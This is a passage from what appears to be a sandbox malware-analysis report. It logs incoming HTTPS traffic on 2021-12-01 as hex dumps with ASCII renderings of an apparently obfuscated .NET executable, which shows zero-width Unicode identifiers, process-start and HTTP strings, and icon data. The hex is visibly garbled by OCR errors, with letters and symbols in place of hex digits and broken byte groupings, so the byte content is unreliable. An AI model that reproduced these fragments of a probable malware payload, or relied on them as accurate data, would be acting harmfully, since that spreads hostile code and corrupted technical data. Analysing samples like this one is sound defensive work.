34 89 46 9b 11 2f df 66 62 b6 f4 80 5a 09 34 Oe 5¢ Oa 15 d9 12 Ob 9 02 f4 b6 ab cf 27 2¢ 39 e9 05 2c fb 94 95 d4 ac 2d c3
3d b8 31 5e 58 b6 fd d5 46 5f 85 35 1b 94 9b 63 a7 2d 85 a4 d7 f6 al ef ee 5¢ ¢3 cc 47 d8 Oa Oc 13 76 82 15 6f 4a 36 17
63 75 59 ee 95 fa 67 cc df c4 df e5 69 52 3a el
Data Ascii: /BP4rLO8HNFS+IS=:b\s2-6e}W}?0ObFRp)KH{!YhT&xXFU&WFLU_g j48i/F{{}6b4F/fbz4\'9,-=1"XF_5¢c-\G
voJ6ecuYgiR:

2021-12-01 08:15:23 UTC 4125 IN Data Raw: 7c 68 7f 7e b6 Oe 31 24 al 8a al 89 fe ce 25 6a a8 d4 ba c9 45 95 el 44 4d 42 47 14 49 26 cf ca bd 7f 87 fa 0d
47 53 a5 88 d4 38 33 1b fa 03 66 a7 21 53 27 09 aa 2c c2 €0 99 4a b3 39 2d Ob 97 72 eb 11 bc e7 31 ec 61 91 e9 7c 9f 32
ae 68 8c cl d4 77 07 5e 96 bc ad c4 8d 96 79 62 66 8f 08 d6 8c 19 60 06 db 77 25 7a d7 f3 58 3c 22 bf 88 e0 8 3a 58 68
f9 e7 d7 fa c1 05 da 09 0d e6 Oc 61 4d d8 d2 00 72 al 9f aa 3a 18 91 al bl 8b el da d4 37 45 77 95 57 db 1b Oa ac 9c 7b
a6 4c 46 ef 9f 8f ¢5 3f Ob c5 2d 04 d4 ae be 50 4a 7a ed d9 e7 07 19 65 0a a3 3d 11 ea c0 3c 79 6d fb 0a fO 75 93 10 39 76
8e 3c 81 49 d3 e6 b9 d9 46 34 d3 0f d7 d2 25 96 12 31 32 32 67 f1 b4 fe c1 3b f5 e3 4a 2b 5e 33 80 40 46 a4 49 85 al 7c
88 00 f2 27 c4 56 7e 19 7e bc db 9e 98 51 92 bd b4
Data Ascii: |h~1$%JEDMBGI&GS83f!S',J9-r1a|2hwAybf woezX<":XhaMr:7EWW{LF?-PJze=<ymu9v<IF4%122g;J+"3@FI
|'V~~Q

2021-12-01 08:15:23 UTC 4141 IN Data Raw: 36 Oa 1e be f3 28 45 €9 4f 70 af f5 93 18 23 6d b6 5e c2 €8 f8 a2 71 be 63 80 8f b2 89 01 b2 df 5¢c 4d ee 37 93
6 43 ae b7 aa 22 ae 4c 43 6¢ 7d 83 ae 8b 01 63 95 67 47 a3 62 61 b3 ab ec 91 99 4f 32 f2 db 23 f3 e7 b3 43 98 42 36 ac
40 f5 f1 ef cb d5 64 3f €0 2c d4 7e a8 4a db 82 19 ab a2 88 5e a9 5d aa 1e ff cO 8b 8a fd 8b d9 ca 38 90 9c fe 45 3f 7c 96
02 01 ad 6d 67 da c4 3c 4a d7 68 71 f6 41 1c 76 8f c1 Oe eb fd 5b c7 68 b0 04 28 db 32 45 cc 23 €8 39 92 d0 05 32 c0 61
b7 c1 53 13 4f 9b eb 40 ba fe 8f 92 bf 11 37 €6 d8 cd 9d 2e 01 7d be e5 e5 1e 55 fe a7 7d f6 64 2d 12 81 99 9a 5f 05 58 f5
02 0c 13 91 9f 0 90 40 19 18 59 8f a2 9d dd 5c 85 80 f8 8 6d d9 89 59 df dd Of 37 93 2f 69 5d 3f a8 ba 51 14 70 12 c5 62
8d 7d bc 92 d2 0d al 77 4e el 92 37 eb a6 e8
Data Ascii: 6(EOp#m~qc\M7C"LCl}cgGbaO2#CB6@d?,~J"\[8E?|mg<JhgAv[h(2E#92aSO@7.}JU}d-_X@Y\mY7/i]?Qpb}wN7

2021-12-01 08:15:23 UTC 4157 IN Data Raw: 3a 45 7e 34 b0 17 ef cd ¢4 a4 60 f8 ca 2b 17 96 52 6d 9d c0 13 c3 da 3e Oe b5 dd 6d 48 df 1f 99 13 73 75 63 db
7055 59 54 ac ff 68 c1 93 db d3 81 5a ba 35 6¢ 05 c6 dd de 1e 73 9e a8 21 4e cc 78 36 19 Oc 7a f4 fd 20 dd e4 19 36 e3
78 f2 fc ¢9 72 cc d5 2c ¢3 90 7c 27 f6 c3 3 41 df 47 ca 94 b0 30 89 fc 98 10 bc 4d d3 62 63 ce 90 96 39 92 82 75 58 de 75
al 08 8b 02 Oe f7 c1 61 0a 0a 91 75 f4 f9 41 e9 9d 75 6 24 d6 73 fc 8b 8d be 3 7d fc 38 45 c3 4c ba 40 35 24 69 7a 8e Ob
65 d6 f3 eb ee 16 c1 cb d2 46 d4 bf 46 73 93 51 5f ae aa 30 bd ac c5 06 06 2e 2a c9 34 fa 48 11 87 d5 b6 af 1f 58 11 59 98
2f 23 09 ¢2 9c 9f 48 d4 Oe a6 b7 5d 7e db c1 47 a4 76 df 8e 95 b6 c6 89 b4 43 87 86 72 fc fd 3b 5f d4 7f 84 8¢ 90 2c b2 65
35 7f d1 c5 c5 ¢4 43 47 79 df 2b 33 cb b4
Data Ascii: :E~4"+Rm>mHsucpUYThZ5Is!INx6z 6xr,|'AGOMbcOuXuauAu$s}BEL@5%izeFFsQ_0.*4HXY/#H]~GvCr;_,e5C
Gy+3
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:23 UTC 4165 IN Data Raw: 40 50 7d ba ba 7c 5a 82 b4 99 3a 38 c3 87 5¢ 88 79 2f ea 41 79 ca 5c 0d 6e e7 c7 86 c0 29 ad be 6¢ 72 01 12
b5 7f 70 2f 08 14 89 bd 27 4f a2 cf 61 32 01 25 c8 62 30 ca 58 af 39 79 96 33 ea 70 72 bd 61 07 f8 a4 3d c8 cd c1 de Ob 57
af 17 c2 ba 77 a4 7f 94 cb 5f b2 78 fO a5 e4 6f 65 33 b6 ae 9a 94 47 ce a7 00 55 Of c6 bb 04 78 58 a4 f2 85 4b 9f 60 c1 78
3b 12 7f fc f4 9e a9 5b a5 85 ab ab b7 9b 31 e6 8 2d e4 €9 99 62 50 66 e6 c2 99 b4 5f 95 ae f3 1a db ca 40 41 ba db 60
b9 d8 c7 ea 4a 85 e7 e4 9b a2 ee 51 8b 69 91 a8 59 30 9e 58 01 c7 c9 bb d6 d6 6e 22 73 f7 c2 ab 68 c3 c4 f8 52 ed f2 da
e5 40 fd 39 56 a0 69 a5 81 c¢7 43 50 fe f8 c7 33 d4 18 e3 43 a7 af d4 06 f4 ec f7 39 06 eb 08 0d 57 cb 27 cb 72 9a e0 fb 14
46 b4 80 bc 2f b9 ba bl 62 f0 13 2e 1e db fb 24
Data Ascii: @P}|Z:8\y/Ay\n)Irp/'Oa2%b0X9y3pra=Ww_xo0e3GUxXK x;[1-bPf @A JQiYOXn"shR@9VICP3COW'rF/b.$

2021-12-01 08:15:23 UTC 4181 IN Data Raw: Ob d6 42 34 bf 65 d2 db 44 48 ba ba 3d 95 6a 48 cf f1 56 9d 6f 44 55 a2 al f4 14 ee 7a 9e 36 74 91 60 9f 6b 7d
75 8c 6¢ f8 €0 a3 9f 1f a4 ff 89 c0 04 3c a8 da 4e 73 44 75 73 d9 5e c5 f2 54 79 92 51 d6 71 fO 8b 8d 19 76 48 20 06 a9 42
05 37 dc 24 58 f0 88 44 13 e0 ba 37 €8 26 6¢ 39 Oe b9 80 a3 a6 89 d5 b2 a3 ab 3a 09 77 da 38 cc 91 cd f9 d8 35 11 3f 5d
2e aa8c 9b 94 b7 e6 38 ee 48 54 41 74 51 f6 4b 41 7b Oe 50 86 60 70 58 eb 74 dd 4b 13 2e 8a 12 58 1d d3 5b 8b 44 84
61 cf cf 51 35 9e 38 c8 fa 1d c8 9a 55 19 18 79 f2 4c Ob 39 39 1c b3 a7 7a d1 57 5b 3c b0 8b 95 60 a9 82 79 97 2e 82 2f
7c 16 04 42 53 41 b6 8b 80 a6 99 ce bd 33 94 5¢c 1a 73 c5 3c ¢l 6d 82 b5 8e 8a 0d 41 57 79 e4 ce 51 e3 2e b3 55 d1 55
92 31 30 f9 af 9e 28 c8 b3 5c 73 6a 73 e4 01 c9 ae 8c 44
Data Ascii: B4eDH=jHVoDUz6t k}ul<NsDus"TyQqvH B7$XD7&I9:w85?].8HTAIQKA{P pXtK.X[DaQ58UyL99zW[<'y./|B
SA3\s<mAWYQ.UU10(\sjsD

2021-12-01 08:15:23 UTC 4197 IN Data Raw: cf 4a 23 60 ff 21 02 6¢ 40 58 2a 09 b1 73 e7 35 6d 4d a8 40 a0 3a 67 4a 40 1f cb bb f9 87 02 e4 9b 75 b9 6a 3a
6e 6f 51 4e b2 5e 1e 5d f8 07 71 4f 91 57 9b 01 4e f8 c2 8a f1 f1 66 a5 2a e5 6e c8 d7 06 12 ca 10 9d 6d be 8e 2a 27 ab fe
c7 53 ac d4 29 6d 99 b2 ce 09 1b 1e de d9 79 9c 4d 96 ed b8 7e b1 0d d3 29 8f 67 da af a3 89 df c1 ae 68 b9 0d d9 1a 76
98 1d 73 37 ac a4 ba 72 65 39 79 f9 ea 4f cb 3f 58 ab fc 9e ed 64 c4 20 a3 99 39 e4 42 81 2e f0 89 47 27 76 9d 17 9e c4
08 d4 Oc el 39 fe 58 c9 e5 cc 84 00 43 22 a3 07 7b ¢6 92 d1 c2 16 9e 9e 53 5b 8d 5f 67 f3 03 a8 21 77 96 01 a3 41 69 5¢
38 €9 3d cf a8 a2 f6 60 48 d7 52 Oa de 98 1b 31 1e 8e 47 be 1b 72 fc b8 e3 8b 9e 2d 06 5d 51 Oc 81 e4 e5 4d a6 3a e6 0f
91 db 7c 09 5d 21 be 41 c2 c3 c0 e2 44 69 7d fO 3f
Data Ascii: J# l@X*s5mM@:gJ@uj:noQN*|gOWNf*nm*'S)myM~)ghvs7re9yO?Xd 9B.G'vOXC"{S[_g!'wAi\8="HR1Gr-]|Q
M:|]!ADi}?

2021-12-01 08:15:23 UTC 4213 IN Data Raw: 38 d9 df ff ff 11 Oc 1e 11 Oc 1e 95 20 31 85 36 78 5f 9e 11 1b 20 2e 57 05 e7 5a 20 0d 52 ff d7 61 38 b8 df ff ff
11 Oc 1f Oe 95 1d 62 13 17 11 1b 20 37 3d 39 d8 5a 20 ee a3 09 dc 61 38 9c df ff ff 11 18 11 Oc 17 95 58 13 18 11 1b 20
5e 94 d6 ec 5a 20 20 dd fe 2c 61 38 80 df ff ff 11 Oc 18 95 20 cb bc 10 fa 5f 13 1a 11 1b 20 ¢3 56 f7 38 5a 20 79 ¢3 7c 00
61 38 61 df ff ff 11 Oc 1d 11 Oc 1d 95 11 Oc 19 95 20 6a 74 a8 c7 5f 60 9e 11 Oc 1f 09 95 1f fe 5a 13 17 11 1b 20 da Oa dc
35 5a 20 e2 24 4a 93 61 38 31 df ff ff 11 Oc 18 11 Oc 18 95 20 79 ba 42 c0 5f 9e 11 1b 20 68 7a 85 b7 5a 20 ca 3d 3c 13
61 38 10 df ff ff 11 0c 17 11 Oc 17 95 11 0d 17 95 61 9e 11 Oc 1f Oc 11 Oc 1f Oc 95 11 19 60 9e 11 Oc 1d 11 Oc 1d 95 11 0Od
1d 95 61 9e 11 18 20 bf ec 4b 89 5a 13 18
Data Ascii: 8 16x_ .WZ Ra8b 7=9Z a8X *Z ,a8 _V8Z yla8ajt_Z 5Z $Ja81 yB_ hzZ =<a8a’a KZ

2021-12-01 08:15:23 UTC 4229 IN Data Raw: 63 02 6¢ 01 00 00 00 00 03 00 83 18 ee 21 43 05 6¢ 01 00 00 00 00 03 00 ¢3 01 ¢6 16 53 17 6¢ 01 e4 aa 3b 00
0800 91 18 f4 21 63 02 6¢ 01 00 00 00 00 03 00 83 18 ee 21 43 05 6¢ 01 00 00 00 00 03 00 c3 01 ¢6 16 69 17 6¢ 01 08
ab 3b 00 08 00 91 18 f4 21 63 02 6¢ 01 00 00 00 00 03 00 83 18 ee 21 43 05 6¢ 01 00 00 00 00 03 00 c3 01 c6 16 7f 17 6¢
01 2c ab 3b 00 00 00 91 18 f4 21 63 02 6¢ 01 00 00 00 00 03 00 83 18 ee 21 43 05 6¢ 01 00 00 00 00 03 00 ¢3 01 c6 16
b5 17 6¢ 01 48 ab 3b 00 08 00 91 18 f4 21 63 02 6¢ 01 00 00 00 00 03 00 83 18 ee 21 43 05 6¢ 01 00 00 00 00 03 00 c3 O
1¢616c9 17 6¢ 01 84 ab 3b 00 08 00 91 18 f4 21 63 02 6¢ 01 00 00 00 00 03 00 83 18 ee 21 43 05 6¢ 01 00 00 00 00 03
00¢3 01 c6 16 e6 17 6¢ 01 a8 ab 3b 00 00 00 10 00 a2 a6 ce 04 6¢
Data Ascii: cl!CISI;!cl!Clil;!cl!CIl,;!cl'CIIH;!cl!CIL;cl!CII;|

2021-12-01 08:15:23 UTC 4245 IN Data Raw: 64 49 6e 66 6f 00 4d 65 74 68 6f 64 49 6e 66 6f 00 43 75 6¢ 74 75 72 65 49 6e 66 6f 00 4d 65 6d 62 65 72 49
6e 66 6f 00 50 61 72 61 6d 65 74 65 72 49 6e 66 6f 00 50 72 6f 63 65 73 73 53 74 61 72 74 49 6e 66 6f 00 c2 a6 c3 85 c3
93 6d 6f 00 63 3a 3a 70 00 c3 88 c2 bf 09 41 70 00 67 65 74 5f 42 65 65 70 00 53 6¢ 65 65 70 00 6¢ 70 00 73 65 74 5f 54
61 62 53 74 6f 70 00 63 3a 3a 71 00 53 79 73 74 65 6d 2e 4c 69 6e 71 00 63 3a 3a 72 00 73 65 74 5f 53 68 6f 77 49 6e 54
6173 6b 62 61 72 00 43 6¢ 65 61 72 00 67 65 74 5f 4b 65 79 43 68 61 72 00 48 74 74 70 52 65 71 75 65 73 74 48 65 61
64 65 72 00 73 65 6e 64 65 72 00 72 61 6e 67 65 44 65 63 6f 64 65 72 00 42 75 66 66 65 72 00 43 6f 6d 70 6f 6e 65 6e 74
52 65 73 6f 75 72 63 65 4d 61 6e 61 67 65 72 00 44 65 62 75
Data Ascii: dinfoMethodInfoCultureinfoMemberInfoParameterinfoProcessStartinfomoc::pApget_BeepSleeplpset_TabSto
pc::gSystem.Lingc::rset_ShowInTaskbarClearget_KeyCharHttpRequestHeadersenderrangeDecoderBufferCompon
entResourceManagerDebu

2021-12-01 08:15:23 UTC 4261 IN Data Raw: 81 ae e2 80 8c e2 81 ad e2 80 ae e2 81 aa e2 80 aa €2 80 aa e2 80 8c €2 80 8d e2 80 ae e2 80 8b e2 80 aa e2
80 ae 00 e2 81 ac e2 80 ac €2 80 ab e2 80 8d e2 80 ab €2 80 8d e2 80 aa e2 81 ad e2 80 ae e2 80 8d e2 80 8b e2 80 8e
e2 81 ab e2 80 ad e2 80 ae e2 80 8d e2 80 8b e2 80 8b e2 80 ad e2 80 8f e2 80 8d e2 80 ad e2 80 8b e2 80 8c e2 81 ac
e2 81 ae e2 81 afe2 80 abe2 80 ab e2 80 8¢c €2 80 8e e2 81 ac e2 81 ab e2 80 8d e2 81 ab e2 80 8c e2 81 ac e2 80 8c e2
808ce280aae280ae00e2808ce28lace28labe280aee280ace280abe28lade28labe28lafe2808ce
280 aae2808fe281ace280aee2808fe2808be281lade280aee280aae28lade2808de280aee281ade2
80 ad e2 80 ab e2 80 aa €2 80 8b e2 80 8b e2 81 ae e2 80 8f e2 81
Data Ascii:

2021-12-01 08:15:23 UTC 4277 IN Data Raw: ac e2 80 ae 00 e2 81 ab e2 80 ab e2 81 af e2 80 8c e2 81 af e2 81 aa e2 80 aa e2 80 ae e2 80 ac e2 80 ac e2
81 ad e2 80 ad e2 80 8b e2 80 ad e2 81 af e2 80 8d e2 81 ae e2 80 ad e2 80 ac e2 80 8f e2 80 ab e2 80 ab e2 81 aa e2 80
8c e2 80 8e €280 8c e2808fe2 808ce2 81 ade2 8l ade2 81 ade2 81 abe2 81 ab e2 80 ac e2 81 ac e2 81 ad e2 80 ac
€280 ab e2 80 8f e2 81 ac e2 80 ae 00 e2 80 8f e2 80 8e e2 80 8c e2 81 aa e2 81 ab e2 81 af e2 80 8b e2 81 af e2 80 8c
e280 ae e2 80 ace2 81 ace2 80 8de2 81 af e2 81 ac e2 80 8d e2 81 aa e2 80 ae e2 81 ab €2 80 ab e2 80 8c e2 80 ac
e2 80 ab e2 80 8f e2 80 ac e2 80 ab e2 80 8e e2 80 8d e2 80 8b €2 80 ab e2 80 ac e2 81 ac e2 80 8e e2 81 ac e2 80 8e
e2 80 ac e2 80 ae e2 80 ac e2 80 8f e2 81 ac e2 80 ae 00 e2 80
Data Ascii:

2021-12-01 08:15:23 UTC 4293 IN Data Raw: 8c e2 81 ac e2 80 ab e2 80 8e e2 81 aa e2 81 ab e2 81 ae e2 81 ad e2 80 8f e2 80 8d e2 81 ac e2 80 ae e2 80
ae e2 80 8d e2 81 ad e2 80 aa e2 80 8f e2 81 ab e2 80 aa e2 81 af e2 80 8b e2 81 ae e2 81 ae e2 80 8b e2 80 8d e2 80
8b e2 81 ac e2 80 ac e2 81 af e2 80 ae 00 e2 80 8f e2 80 ae e2 80 aa e2 80 aa e2 81 aa e2 80 8c e2 80 8c e2 81 ac e2 80
ad e2 80 8e e2 81 ad e2 80 ac e2 80 ad e2 80 ab e2 81 ab e2 80 8d e2 80 8f e2 80 aa e2 80 8e e2 80 8c e2 80 8d e2 81
ac e2 81 ab e2 80 8d e2 81 ac e2 80 ae e2 81 ad e2 81 af e2 80 ad e2 80 8b e2 80 ab e2 80 ac e2 81 af e2 80 8e e2 80 8b
e2 81 ac e2 80 8f e2 80 ad e2 80 ac e2 81 af e2 80 ae 00 e2 81 ad e2 81 aa e2 80 8f e2 81 ae e2 80 8b e2 80 8f e2 80 ae
e2 81 ad e2 80 8d e2 81 ab e2 80 8b €2 80 ab e2 80 8b e2 81 ae
Data Ascii:

2021-12-01 08:15:23 UTC 4309 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:

Copyright Joe Security LLC 2021 Page 107 of 119



kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:23 UTC 4325 IN Data Raw: a4 a4 a4 el a4 a4 a4 e0 a4 a4 a4 e0 a4 a4 a4 df a4 a4 a4 df a4 a4 a4 df a4 a4 a4 df a4 a4 a4 df a4 a4 a4 df a4
ad a4 de a4 a4 a4 de a4 a4 a4 dd a4 a4 a4 dc a4 a4 a4 da a4 a4 a4 d8 a4 a4 a4 d5 a4 a4 a4 d2 a4 a4 a4 cf a4 a4 a4 cd
adad adchbad ad ad caad ad a4 c9 ad ad a4 c8 a4 a4 a4 c6 a4 a4 a4 c5 a4 a4 a4 c2 a4 a4 ad bf a4 a4 a4 bb a4 a4 a4 b7
adad ad b3 a4 a4 a4 b0 a4 a4 ad ac a4 a4 a4 a9 ad a4 a4 a5 a4 a4 a4 al a4 a4 a4 9c a4 a4 a4 97 a4 a4 a4 8f a4 a4 a4
87a4adad7eadabtad72a4adad66adad ad57adadtad48adadad 38adadad29adadadlcadadad 12 ad ad
a4 0a a4 a4 a4 05 a4 a4 a4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Data Ascii: ~rfWH8)

2021-12-01 08:15:23 UTC 4341 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:

2021-12-01 08:15:23 UTC 4357 IN Data Raw: al 61 Oe ff a0 60 Oe ff a0 60 0d ff 9f 60 Od ff 9f 5f Od ff 9e 5f 0d ff 9e 5f Oc ff 9d 5f Oc ff 9d 5e Oc ff 9d 5e Oc ff 9¢
5e 0Ob ff 9c 5d Ob ff 9b 5d Ob ff 9b 5d Oa ff 9a 5¢ Oa ef 9a 5¢ 0a 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Data Ascii: a™~"____ MAI\O

2021-12-01 08:15:23 UTC 4373 IN Data Raw: a9 67 13 ff a8 66 12 ff a8 66 12 ff a7 65 12 ff a7 65 12 ff a6 65 11 ff a6 64 11 ff a5 64 11 ff a5 64 10 ff a4 63 10
ff a4 63 10 ff a3 63 Of ff a3 62 Of ff a2 62 Of ff a2 61 Of ff al 61 Oe ff al 61 Oe ff a0 60 Oe ff a0 60 0d ff 9f 60 Od ff 9e 5f Od ff
9e 5f Oc ff 9d 5e Oc ff 9d 5e Oc ff 9¢ 5e Ob ff 9c 5d Ob ff 9b 5d Ob ff 9b 5¢ Oa ff 9a 5¢ 0a af 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
Data Ascii: gffeeedddcccbbaaa™ __ MAJ\

2021-12-01 08:15:23 UTC 4377 IN Data Raw: aa 68 13 ff aa 68 13 ff a9 67 13 ff a9 67 13 ff a8 66 13 ff a8 66 12 ff a7 66 12 ff a7 65 12 ff a6 65 11 ff a6 65 11
ff a5 64 11 ff a5 64 10 ff a4 63 10 ff a4 63 10 ff a3 63 10 ff a3 62 Of ff a2 62 Of ff a2 62 0Of ff al 61 Oe ff al 61 Oe ff a0 60 Oe f
fa0 60 0d ff 9f 60 0d ff 9e 5f 0d ff 9e 5f Oc ff 9d 5e Oc ff 9d 5e Oc ff 9c 5e Ob ff 9c 5d Ob ff 9b 5d Ob ff 9b 5¢ Oa ff 9a 5¢c Oa
70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
Data Ascii: hhggfffeeeddcccbbbaa™ __ MAJ|\\p

2021-12-01 08:15:23 UTC 4393 IN Data Raw: b1 6d 17 ff b1 6¢ 17 ff b0 6¢ 16 ff b0 6¢ 16 ff af 6b 16 ff af 6b 15 ff ae 6a 15 ff ad 6a 15 ff ad 6a 14 ff ac 69 14 ff
ac 69 14 ff ab 68 13 ff ab 68 13 ff aa 68 13 ff a9 67 13 ff a9 67 13 ff a8 66 12 ff a8 66 12 ff a7 65 12 ff a6 65 11 ff a6 65 11 f
fab5 64 11 ff a5 64 10 ff a4 63 10 ff a4 63 10 ff a3 62 0f ff a2 62 Of ff a2 62 0f ff al 61 Oe ff al 61 Oe ff a0 60 Oe ff 9f 60 Od ff
of 5f 0d ff 9e 5f Oc ff 9d 5f Oc ff 9d 5e Oc ff 9¢ 5e Ob ff 9c 5d Ob ff 9b 5d Ob ff 9a 5¢ Oa ff 9a 5¢ 0a 20 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00
Data Ascii: mllikkjjiihhhggffeeeddccbbbaa™___ M\
2021-12-01 08:15:23 UTC 4409 IN Data Raw: b7 71 1a ff b6 70 1a ff b6 70 19 ff b5 6f 19 ff b4 6f 19 ff b4 6f 18 ff b3 6e 18 ff b3 6e 18 ff b2 6d 17 ff bl 6d 17 ff

b1 6c 16 ff b0 6¢ 16 ff af 6b 16 ff af 6b 15 ff ae 6b 15 ff ae 6a 15 ff ad 6a 14 ff ac 69 14 ff ac 69 13 ff ab 68 13 ff aa 68 13 ff
aa 67 13 ffa9 67 13 ff a8 66 13 ff a8 66 12 ff a7 66 12 ff a7 65 11 ff a6 65 11 ff a5 64 11 ff a5 64 10 ff a4 63 10 ff a3 63 10
ff a3 62 Of ff a2 62 Of ff al 61 Oe ff al 61 Oe ff a0 60 Oe ff a0 60 Od ff 9f 60 Od ff 9e 5f Od ff 9e 5f Oc ff 9d 5e Oc ff 9c 5e 0Ob ff
9c 5d 0b ff 9b 5d Ob ff 9a 5¢ Oa ff 9a 5¢ 0a 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00
Data Ascii: gppooonnmmllkkkjjiihhggfffeeddccbbaa™ M\
2021-12-01 08:15:23 UTC 4425 IN Data Raw: ba 73 1c ff ba 73 1c ff b9 72 1c ff b8 72 1b ff b8 72 1b ff b7 71 1a ff b7 71 1a ff b6 70 1a ff b5 70 19 ff b5 6f 19 ff

b4 6f 18 ff b3 6e 18 ff b3 6e 18 ff b2 6d 17 ff bl 6d 17 ff bl 6c 16 ff b0 6c 16 ff af 6b 16 ff af 6b 15 ff ae 6a 15 ff ad 6a 14 ff
ad 69 14 ff ac 69 14 ff ab 68 13 ff ab 68 13 ff aa 68 13 ff a9 67 13 ff a9 67 13 ff a8 66 12 ff a7 66 12 ff a7 65 12 ff a6 65 11
ff a5 64 11 ff a5 64 10 ff a4 63 10 ff a3 63 10 ff a3 62 Of ff a2 62 Of ff al 61 Oe ff al 61 Oe ff a0 60 Oe ff 9f 60 0Od ff 9f 5f 0d ff
9e 5f Oc ff 9d 5e Oc ff 9d Se Oc ff 9¢ 5d 0Ob ff 9b 5d 0b ff 9b 5c Oa ff 9a 5S¢ 0Oa 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00
Data Ascii: ssrrrqgppoonnmmllkkjjiihhhggffeeddccbbaa™ M\
2021-12-01 08:15:23 UTC 4441 IN Data Raw: bc 74 1d ff bb 74 1d ff bb 73 1c ff ba 73 1c ff b9 72 1c ff b8 72 1b ff b8 72 1b ff b7 71 1a ff b6 71 1a ff b6 70 1a

ff b5 70 19 ff b4 6f 19 ff b4 6f 18 ff b3 6e 18 ff b2 6e 18 ff b2 6d 17 ff b1 6d 17 ff b0 6c 16 ff b0 6¢ 16 ff af 6b 16 ff ae 6b 15 f
fae 6a 15 ff ad 6a 14 ff ac 69 14 ff ac 69 14 ff ab 68 13 ff aa 68 13 ff aa 67 13 ff a9 67 13 ff a8 66 13 ff a8 66 12 ff a7 65 12
ff a6 65 11 ff a6 64 11 ff a5 64 11 ff a4 63 10 ff a4 63 10 ff a3 62 Of ff a2 62 Of ff a2 61 Of ff a1 61 Oe ff a0 61 Oe ff a0 60 Od
